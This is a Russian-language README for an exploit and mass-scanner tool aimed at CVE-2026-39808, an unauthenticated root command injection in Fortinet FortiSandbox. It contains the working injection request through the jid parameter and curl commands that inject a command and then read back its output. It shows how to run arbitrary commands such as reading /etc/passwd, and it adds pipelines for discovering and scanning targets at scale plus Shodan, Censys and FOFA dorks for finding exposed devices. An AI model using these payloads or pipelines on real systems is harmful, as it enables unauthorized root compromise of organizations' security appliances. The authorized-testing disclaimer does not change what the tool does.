
Неаутентифицированный сканер RCE для FortiSandbox CVE-2026-39808 с проверкой на основе canary, выполнением команд и интеграцией в конвейер для массового сканирования.
Неаутентифицированная инъекция OS-команд от имени root в Fortinet FortiSandbox
Уязвимость • Установка • Использование • Принцип работы • Конвейер • Shodan Dorks • Отказ от ответственности
CVE-2026-39808 — критическая неаутентифицированная уязвимость инъекции OS-команд в Fortinet FortiSandbox. Конечная точка API /fortisandbox/job-detail/tracer-behavior не выполняет санитизацию параметра jid, что позволяет атакующему внедрять произвольные OS-команды, выполняемые от имени root — без какой-либо аутентификации.
Параметр jid в конечной точке tracer-behavior передаётся напрямую в системную команду без санитизации. Используя символы конвейера (|), атакующий может выйти за пределы предполагаемого контекста команды и выполнить произвольные команды:
GET /fortisandbox/job-detail/tracer-behavior?jid=|(id > /web/ng/out.txt)| HTTP/1.1
Вывод записывается в /web/ng/out.txt, который доступен по адресу /ng/out.txt на веб-сервере — что обеспечивает удобный механизм чтения результатов для слепой инъекции команд.
Ноль зависимостей. Только стандартная библиотека Python 3.7+.
git clone https://github.com/ynsmroztas/FortiSandbox-RCE-Exploit-CVE-2026-39808
cd FortiSandbox-RCE-Exploit-CVE-2026-39808
chmod +x fortisandbox_rce.py
# Проверить, уязвима ли цель (используется обнаружение на основе канареечной строки)
python3 fortisandbox_rce.py -u https://fortisandbox.target.com
# Выполнить конкретную команду на цели
python3 fortisandbox_rce.py -u https://target.com --cmd "id"
python3 fortisandbox_rce.py -u https://target.com --cmd "cat /etc/passwd"
python3 fortisandbox_rce.py -u https://target.com --cmd "uname -a"
# Только проверить уязвимость, не выполнять --cmd
python3 fortisandbox_rce.py -u https://target.com --verify-only
python3 fortisandbox_rce.py -u https://target.com --cmd "id" --proxy http://127.0.0.1:8080
python3 fortisandbox_rce.py -u https://target.com -o report.json
# Из списка URL
cat targets.txt | python3 fortisandbox_rce.py --stdin --verify-only -o report.json
# subfinder → httpx → сканер
subfinder -d target.com -silent | httpx -silent | python3 fortisandbox_rce.py --stdin
# Shodan → сканер
shodan search 'title:"FortiSandbox"' --fields ip_str,port --separator : | \
sed 's/^/https:\/\//' | httpx -silent | \
python3 fortisandbox_rce.py --stdin --verify-only -o results.json
usage: fortisandbox_rce.py [-h] [-u URL] [--stdin] [--cmd CMD] [--verify-only]
[--proxy PROXY] [--timeout TIMEOUT]
[--rate-limit RATE_LIMIT] [-o OUTPUT] [--no-banner]
Options:
-u, --url URL Целевой URL
--stdin Читать URL из stdin (режим конвейера)
--cmd CMD OS-команда для выполнения (по умолчанию: id)
--verify-only Только проверить уязвимость, не выполнять --cmd
--proxy PROXY HTTP-прокси (например, http://127.0.0.1:8080)
--timeout TIMEOUT HTTP-таймаут в секундах (по умолчанию: 15)
--rate-limit RATE_LIMIT Задержка между целями в мс (по умолчанию: 0)
-o, --output FILE Файл JSON-отчёта
--no-banner Подавить баннер
Сканер использует 5-этапный процесс проверки со строгим предотвращением ложных срабатываний:
Шаг 1 → Обнаружение FortiSandbox (отпечаток по заголовку/заголовкам)
Шаг 2 → Проверка существования уязвимой конечной точки
Шаг 3 → Внедрение уникальной канареечной строки через инъекцию команд
Шаг 4 → Чтение /ng/out.txt и проверка канареечной строки (строгая валидация обычного текста)
Шаг 5 → Выполнение пользовательской команды + очистка
Сканер реализует несколько уровней валидации для устранения ложных срабатываний:
text/htmlid — Строгое сопоставление шаблона uid=\d+(\w+) с проверкой размера (<1000 байт)/ng для предотвращения проблем с двойным путём ╔══════════════════════════════════════════════════════════╗
║ FortiSandbox RCE Scanner v1.0 — CVE-2026-39808 ║
║ Неаутентифицированная инъекция команд (root) ║
╚══════════════════════════════════════════════════════════╝
mitsec | @ynsmroztas
┌──────────────────────────────────────────────────────────┐
│ Цель: https://fortisandbox.example.com │
└──────────────────────────────────────────────────────────┘
✓ FortiSandbox обнаружен!
▸ Проверка конечной точки: /fortisandbox/job-detail/tracer-behavior
▸ Статус конечной точки: 200 | Content-Type: text/html
▸ Внедрение канареечной строки: mitsec_a8k3m2x1
▸ Чтение вывода: https://fortisandbox.example.com/ng/out.txt
CRITICAL 🔥 УЯЗВИМ — CVE-2026-39808 ПОДТВЕРЖДЁН!
CRITICAL Цель: https://fortisandbox.example.com
✓ Канареечная строка 'mitsec_a8k3m2x1' подтверждена в выводе (чистый обычный текст)
──────────────────────────────────────────────────────────
Вывод команды: id
──────────────────────────────────────────────────────────
│ uid=0(root) gid=0(root) groups=0(root)
──────────────────────────────────────────────────────────
✓ Файл вывода очищен
┌──────────────────────────────────────────────────────────┐
│ Цель: https://patched.example.com │
└──────────────────────────────────────────────────────────┘
✓ FortiSandbox обнаружен!
▸ Проверка конечной точки: /fortisandbox/job-detail/tracer-behavior
✗ Конечная точка вернула 404 — не уязвима или исправлена
▸ Чтение вывода: https://target.com/ng/out.txt
⚠ Выходной URL возвращает HTML-страницу — это Angular SPA, а НЕ вывод команды
▸ Content-Type: text/html
▸ Это ложное срабатывание — /ng/out.txt обслуживает index.html SPA
▸ Цель не выглядит уязвимой
{
"scanner": "fortisandbox_rce",
"version": "1.0",
"cve": "CVE-2026-39808",
"scan_date": "2026-04-22T10:30:00+00:00",
"total_targets": 5,
"vulnerable": 1,
"results": [
{
"target": "https://fortisandbox.example.com",
"vulnerable": true,
"details": {
"is_fortisandbox": true,
"server": "Apache",
"canary": "mitsec_a8k3m2x1",
"verification": "canary_match",
"command": "id",
"output": "uid=0(root) gid=0(root) groups=0(root)"
},
"timestamp": "2026-04-22T10:30:00+00:00"
}
]
}
Сканер выводит уязвимые URL в stdout (весь остальной вывод идёт в stderr), что делает его полностью совместимым с конвейерами:
# Найти уязвимые цели и сохранить
subfinder -d corp.com -silent | httpx -silent | \
python3 fortisandbox_rce.py --stdin --verify-only 2>/dev/null | \
tee vulnerable_fortisandbox.txt
# Объединить с nuclei для дальнейшего тестирования
cat vulnerable_fortisandbox.txt | nuclei -t cves/
# Тихий массовый скан с ограничением скорости
cat shodan_results.txt | \
python3 fortisandbox_rce.py --stdin --verify-only --rate-limit 1000 --no-banner -o report.json
title:"FortiSandbox"
title:"FortiSandbox - Please login"
http.html:"FortiSandbox" port:443
"FortiSandbox" ssl:"Fortinet"
http.favicon.hash:-1222072778
Censys:
services.http.response.html_title:"FortiSandbox"
FOFA:
title="FortiSandbox - Please login"
title="FortiSandbox" && country="TR"
Google Dork:
intitle:"FortiSandbox - Please login"
Если вы предпочитаете проверять вручную с помощью curl:
# Шаг 1: Внедрить команду
curl -s -k --get "https://TARGET/fortisandbox/job-detail/tracer-behavior" \
--data-urlencode "jid=|(id > /web/ng/out.txt)|"
# Шаг 2: Прочитать вывод
curl -s -k "https://TARGET/ng/out.txt"
# Ожидаемый результат: uid=0(root) gid=0(root) groups=0(root)
/fortisandbox/job-detail/jid, содержащих символы конвейера| Дата | Событие |
|---|---|
| Ноябрь 2025 | Уязвимость обнаружена |
| Апрель 2026 | Опубликован CVE-2026-39808 |
| Апрель 2026 | Исправлено в FortiSandbox 4.4.9 |
Этот инструмент предоставляется только для авторизованного тестирования безопасности и образовательных целей. Несанкционированный доступ к компьютерным системам является незаконным. Всегда получайте надлежащее письменное разрешение перед тестированием. Автор не несёт ответственности за неправомерное использование этого инструмента.
mitsec — @ynsmroztas
Если этот инструмент помог вам, поставьте ему ⭐
| Деталь | Значение |
|---|
| CVE ID | CVE-2026-39808 |
| CVSS Score | 9.8 (Critical) |
| Вектор атаки | Сеть |
| Аутентификация | Не требуется |
| Привилегии | Root |
| Затронутые версии | FortiSandbox < 4.4.9 |
| Исправлено в | 4.4.9 и выше |
| Консультация | FG-IR-25-325 |